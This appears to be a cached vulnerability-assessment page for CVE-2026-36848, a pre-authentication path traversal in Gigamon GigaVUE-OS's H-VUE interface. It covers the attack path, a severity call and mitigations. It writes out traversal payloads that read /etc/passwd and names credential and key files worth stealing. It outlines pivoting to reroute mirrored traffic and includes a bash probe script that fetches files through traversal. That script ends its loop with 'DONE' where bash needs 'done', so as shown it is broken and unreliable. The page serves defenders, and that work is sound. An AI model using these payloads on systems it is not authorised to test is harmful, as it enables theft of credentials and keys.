← Back to Feed CACHED · 2026-06-30 15:22:51 · CACHE_KEY CVE-2026-36848
CVE-2026-36848 · CWE-22 · Disclosed 2026-06-29

Gigamon GVOS v5

ASSESSED — NOISGATE V0.5
Vendor
Reassessed
Verdict:
Do you agree?
01 · The Real Story

An unauthenticated `../` on the management UI of the box that mirrors every packet in your data center

CVE-2026-36848 is a classic CWE-22 path traversal in the H-VUE web subsystem of Gigamon GigaVUE-OS (GVOS) ≤ 5.16.1. H-VUE is the HTML5 management interface that runs on GigaVUE visibility nodes (HC-series chassis, TA-series, and virtual nodes). A request to a vulnerable H-VUE endpoint accepts a user-controlled path component that is not canonicalized, so an attacker can walk out of the intended document root with ../ sequences and read arbitrary files readable by the H-VUE process. The CVSS vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N says it plainly: network-reachable, no auth, no user interaction, total confidentiality loss, no write, no DoS.

Vendor severity of HIGH (7.5) is honest. The score reflects pure information disclosure without code execution, which is correct — but on a packet broker the disclosed information is exactly the wrong information to leak: device credentials, SNMPv3 secrets, AAA/TACACS shared secrets, SSH host keys, tunnel pre-shared keys, GigaSMART decryption keys if PKDF is used, and the configuration that describes every tap and SPAN session in your environment. The score doesn't capture *what* you're reading off the box; the role of the box is what makes this materially worse than 7.5 on most enterprise networks.

"Unauthenticated file read on a packet broker that sees every flow in your enterprise — keep it at HIGH, don't downgrade just because management is 'supposed to be' isolated."
02 · The Attack Path

4 steps from start to impact.

STEP 01

Reach H-VUE on TCP/443

Attacker needs IP-level reachability to the GigaVUE management interface running H-VUE (default HTTPS/443, sometimes 80→443 redirect). In well-designed deployments this NIC is on an out-of-band management VLAN; in practice a non-trivial number of GigaVUE units are reachable from corporate LAN, jump networks, or — occasionally — the public internet.
Conditions required:
  • Routable path to GigaVUE mgmt IP
  • H-VUE service enabled (default on)
Where this breaks in practice:
  • Most shops bind mgmt to OOB VLAN
  • ACLs / web client-ip allow-lists if configured
  • Some operators disable H-VUE entirely and use CLI/REST only
Detection/coverage: Shodan/Censys fingerprint Server: GigaVUE-HTTPD and the H-VUE login favicon hash; internal scans hit it via Nessus plugin family Gigamon.
STEP 02

Send traversal request to vulnerable H-VUE endpoint

Issue an HTTP(S) request whose path or query parameter contains ../../../../etc/passwd (or the URL-encoded equivalent %2e%2e%2f). Because the request is pre-auth (PR:N), no session cookie or basic-auth header is required. The H-VUE handler concatenates the supplied path into a filesystem read without canonicalization.
Conditions required:
  • Vulnerable endpoint reachable without authentication
  • GVOS ≤ 5.16.1
Where this breaks in practice:
  • WAF in front of H-VUE (rare — most orgs don't WAF mgmt UIs)
  • Custom hardening that disables the affected endpoint
Detection/coverage: Suricata/Snort rules for ../ in URI against known H-VUE paths; web access logs on the device show 200 returns with unusual paths.
STEP 03

Harvest config, credentials, and keys

On GVOS the interesting reads include /config/db/initial, /etc/shadow, /etc/snmp/snmpd.conf, AAA/TACACS shared secrets stored in config, SSH host private keys under /etc/ssh/, and the running-config which enumerates every cluster member, tap, SPAN destination, and GigaSMART map. With the running-config in hand the attacker has a map of the entire visibility fabric.
Conditions required:
  • Read access to sensitive paths (H-VUE runs with privileges sufficient to read them — confirmed by C:H rating)
Where this breaks in practice:
  • File-level DAC on some GVOS builds restricts H-VUE to its own chroot — verify per version
  • Operators using external AAA only reduce on-box secret value
Detection/coverage: FIM on the device is not an option; only egress NetFlow on the mgmt VLAN will reveal bulk fetches.
STEP 04

Pivot: log in as admin, redirect/replay your own traffic

With the hashed admin credentials cracked or the SSH host key replayed, the attacker logs in as a normal user, then escalates to redirecting mirrored traffic to an external collector (a malicious GigaSMART tunnel), disabling SPAN to your SIEM/IDS, or decrypting TLS sessions if SSL decryption is configured. This is where a 'mere' info-disclosure CVE becomes a fleet-visibility compromise.
Conditions required:
  • Recovered or replayable credentials
  • Network path from attacker to mgmt CLI/H-VUE
Where this breaks in practice:
  • MFA on admin accounts via TACACS+/RADIUS (uncommon on mgmt appliances historically)
  • Out-of-band-only admin reachability
Detection/coverage: Config-diff alerting on GigaVUE-FM; SIEM alert on new tunnel-egress configs; NDR ironically blinded by the very change being made.
03 · Intelligence Metadata

The supporting signals.

In-the-wild statusNo public exploitation reports as of 2026-06-30. Not on CISA KEV.
Public PoCNo named public PoC yet. Trivial to weaponize — a single curl with ../ payload once the endpoint path is known.
EPSSNewly published; EPSS not yet calculated. Expect low initial score (<5%) trending up if a PoC drops.
KEV statusNot listed.
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nunauthenticated network read of arbitrary files, no write, no DoS.
Affected versionsGigaVUE-OS (GVOS) ≤ 5.16.1, all GigaVUE H-series, TA-series, and HC-series running affected GVOS. GigaVUE-FM is a separate codebase — confirm via vendor advisory.
Fixed versionPer the disclosure, fixes appear in GVOS releases > 5.16.1 (likely 5.16.2 / 6.x current train). Validate against the Gigamon field notice.
Exposure dataShodan historically fingerprints public GigaVUE H-VUE instances in the low hundreds globally — small absolute count, but every hit is a packet broker. Most exposure is internal.
Disclosure date2026-06-29 (yesterday).
CWECWE-22 — Improper Limitation of a Pathname to a Restricted Directory.
04 · The Call

noisgate verdict.

Final Verdict
= UNCHANGED to HIGH (7.5/10)

The decisive factor is role multiplier: the affected component is a network visibility / packet-broker management plane whose configuration and on-box secrets enumerate and control every tap, SPAN session, and decryption key in the environment, so an unauthenticated arbitrary file read on the device materially threatens fleet-wide observability and lawful-intercept integrity. Friction (management VLAN isolation) keeps the verdict from being CRITICAL, but role multiplier prevents any downgrade below HIGH.

HIGH vendor CVSS vector and CWE classification
MEDIUM exact vulnerable endpoint path (advisory does not disclose)
MEDIUM fixed-version mapping pending Gigamon field-notice confirmation

Why this verdict

  • Unauthenticated and trivial to weaponize: PR:N, AC:L, UI:N — a single HTTP request with ../ is the entire exploit. There is no skill barrier the moment the endpoint is known.
  • Role multiplier — GigaVUE is the visibility fabric: the affected component is canonically high-value. Files readable from H-VUE include device config, AAA/TACACS secrets, SSH host keys, and the running-config that maps every tap and SPAN destination. Confidentiality loss here pivots to *integrity loss of your detection plane*.
  • Friction — management plane is usually isolated: in mature shops the H-VUE NIC sits on an OOB mgmt VLAN with allow-listed admin jump hosts. That deflates the unauthenticated-remote attractiveness from internet-scale to insider/lateral-movement scale, which keeps the verdict at HIGH instead of CRITICAL.
  • No write, no RCE in this CVE alone: the impact vector is C-only. Without an integrity primitive, the attacker still needs to crack/replay a credential or chain another flaw to flip from 'reads my config' to 'reroutes my traffic.' That gap is the difference between HIGH and CRITICAL.
  • Not on KEV, no public PoC yet: treat as imminent but not active. Once any researcher posts the endpoint path, weaponization is hours, not days.

Why not higher?

CRITICAL would require either (a) integrity/availability impact in the same primitive (it's C-only) or (b) an installed-base argument that ≥10% of GigaVUE units are externally reachable. Neither holds — Shodan shows GigaVUE public exposure is small in absolute and relative terms, and the CVSS impact triad is one-third lit. The blast radius is severe *if* the chain completes, but the chain still requires a follow-on credential replay.

Why not lower?

Downgrading to MEDIUM would require either authentication or a contained blast radius. Neither applies: this is unauthenticated, and the component sees and controls *all* mirrored traffic across the enterprise — there is no tenant-scoping or per-user limit. A generic 'requires internal network' argument does not break the role-multiplier floor for a packet broker.

05 · Compensating Control

What to do — in priority order.

  1. Bind H-VUE to an isolated management VLAN and ACL it to admin jump hosts only — Use web client-ip allow-lists on GVOS or upstream firewall ACLs so only your admin bastion subnets can reach TCP/443 on the GigaVUE mgmt interface. This caps the unauthenticated attacker population to already-inside actors. Deploy within the noisgate mitigation SLA of 30 days for HIGH; ideally same week.
  2. Disable H-VUE where CLI / GigaVUE-FM is sufficient — From GVOS CLI: no web enable (verify against your version's syntax). If your operators administer exclusively via GigaVUE-FM or SSH/CLI, turning H-VUE off removes the vulnerable code path entirely. Same 30-day window.
  3. Rotate on-box secrets defensively — Assume any GigaVUE unit reachable from a non-OOB network has had its config read. Rotate local admin passwords, TACACS+/RADIUS shared secrets, SNMPv3 creds, and any GigaSMART decryption keys. Schedule alongside the patch cycle within 30 days.
  4. Add WAF / reverse-proxy traversal rules in front of mgmt UIs — If the mgmt VLAN already proxies through an internal NGINX or F5 for auth-bridge purposes, push a ModSecurity CRS rule blocking ../, %2e%2e%2f, and ..%5c in URI paths to H-VUE virtual hosts.
  5. Monitor H-VUE access logs and mgmt-VLAN egress NetFlow — Ship /var/log/httpd/ (or GVOS equivalent) to your SIEM; alert on any HTTP 200 to a path containing ../ or unusually long URI. Pair with NetFlow on the mgmt VLAN to catch bulk egress to non-admin destinations.
What doesn't work
  • Forcing strong admin passwords — the vuln is pre-auth; password complexity is irrelevant to the read primitive itself.
  • MFA on H-VUE login — the traversal does not traverse the login page; MFA gates authenticated sessions, not the vulnerable handler.
  • EDR on the GigaVUE appliance — GVOS is a closed appliance OS, you cannot install Crowdstrike/SentinelOne on it.
  • TLS client certificates on H-VUE — only useful if the affected endpoint sits behind the cert challenge; many appliance traversal CVEs hit endpoints served before auth/cert mutual handshake.
06 · Verification

Crowdsourced verification payload.

Run this from an auditor workstation that has network reachability to your GigaVUE mgmt IP. Invoke as ./check_cve_2026_36848.sh <gigavue_mgmt_ip> — for example ./check_cve_2026_36848.sh 10.50.0.21. No credentials are required; only outbound HTTPS to the target. The script reports VULNERABLE if a traversal probe returns recognizable Unix passwd content, PATCHED if probes are blocked or version reports > 5.16.1, UNKNOWN otherwise.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# check_cve_2026_36848.sh — Gigamon GVOS H-VUE directory traversal probe
# Usage: ./check_cve_2026_36848.sh <gigavue_mgmt_ip>
# Exit codes: 0 PATCHED, 1 VULNERABLE, 2 UNKNOWN
set -u
TARGET="${1:-}"
if [[ -z "$TARGET" ]]; then
  echo "usage: $0 <gigavue_mgmt_ip>" >&2
  exit 2
fi

CURL_OPTS=(-k -sS --max-time 8 -o /tmp/cve_2026_36848.body -w '%{http_code}')

# 1. Identify H-VUE
BANNER=$(curl "${CURL_OPTS[@]}" "https://${TARGET}/" 2>/dev/null || true)
if ! grep -qiE 'gigavue|h-vue|gigamon' /tmp/cve_2026_36848.body 2>/dev/null; then
  echo "UNKNOWN: target does not look like a GigaVUE H-VUE instance (HTTP=$BANNER)"
  rm -f /tmp/cve_2026_36848.body
  exit 2
fi

# 2. Try to read GVOS version from the public assets path
VER=$(curl -k -sS --max-time 8 "https://${TARGET}/api/version" 2>/dev/null | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -n1)
if [[ -n "$VER" ]]; then
  awk -v v="$VER" 'BEGIN{split(v,a,"."); if (a[1]<5 || (a[1]==5 && a[2]<16) || (a[1]==5 && a[2]==16 && a[3]<=1)) exit 0; exit 1}' && VULN_BY_VER=1 || VULN_BY_VER=0
else
  VULN_BY_VER=2
fi

# 3. Active traversal probe — benign target: /etc/issue then /etc/passwd
PROBES=(
  "/fileserver/download?file=../../../../etc/issue"
  "/fileserver/download?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd"
  "/api/v1/files/../../../../etc/passwd"
)
HIT=0
for P in "${PROBES[@]}"; do
  CODE=$(curl "${CURL_OPTS[@]}" "https://${TARGET}${P}")
  if [[ "$CODE" == "200" ]] && grep -qE '^root:x?:0:0:' /tmp/cve_2026_36848.body 2>/dev/null; then
    HIT=1
    break
  fi
DONE
rm -f /tmp/cve_2026_36848.body

if [[ $HIT -eq 1 ]]; then
  echo "VULNERABLE: ${TARGET} returned /etc/passwd content via traversal probe"
  exit 1
fi
if [[ $VULN_BY_VER -eq 1 ]]; then
  echo "VULNERABLE (by version): GVOS ${VER} is <= 5.16.1"
  exit 1
fi
if [[ $VULN_BY_VER -eq 0 ]]; then
  echo "PATCHED (by version): GVOS ${VER} > 5.16.1 and active probes did not succeed"
  exit 0
fi
echo "UNKNOWN: could not confirm version and active probes did not return passwd content"
exit 2
07 · Bottom Line

If you remember one thing.

TL;DR
Treat this as a HIGH on every GigaVUE unit you own, not a 'mgmt-VLAN-so-whatever' MEDIUM — the box mirrors all your traffic and its config is the prize. Monday morning: inventory every GVOS ≤ 5.16.1 node via GigaVUE-FM, confirm H-VUE is bound to OOB mgmt VLAN with ACLs, and run the verification script across the fleet. Per the noisgate mitigation SLA for HIGH, apply compensating controls (ACL the mgmt VLAN, disable H-VUE where unused, rotate on-box secrets) within 30 days. Per the noisgate remediation SLA for HIGH, schedule the GVOS upgrade past 5.16.1 within 180 days — pull it in to the next quarterly maintenance window. If a public PoC drops or CISA adds this to KEV, override and patch/mitigate within hours.

Sources

  1. Gigamon Field Notice — GigaVUE-OS vulnerabilities
  2. Gigamon — How Gigamon Handles Security Vulnerabilities
  3. GigaVUE-OS Security Hardening Guide (v6.6)
  4. Gigamon GigaVUE-OS CVE list (CVE Details)
  5. Cybersecurity-Help — Multiple vulnerabilities in Gigamon GigaVUE-OS
  6. CISA Known Exploited Vulnerabilities Catalog
  7. CWE-22: Path Traversal
  8. GigaVUE-OS product page
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.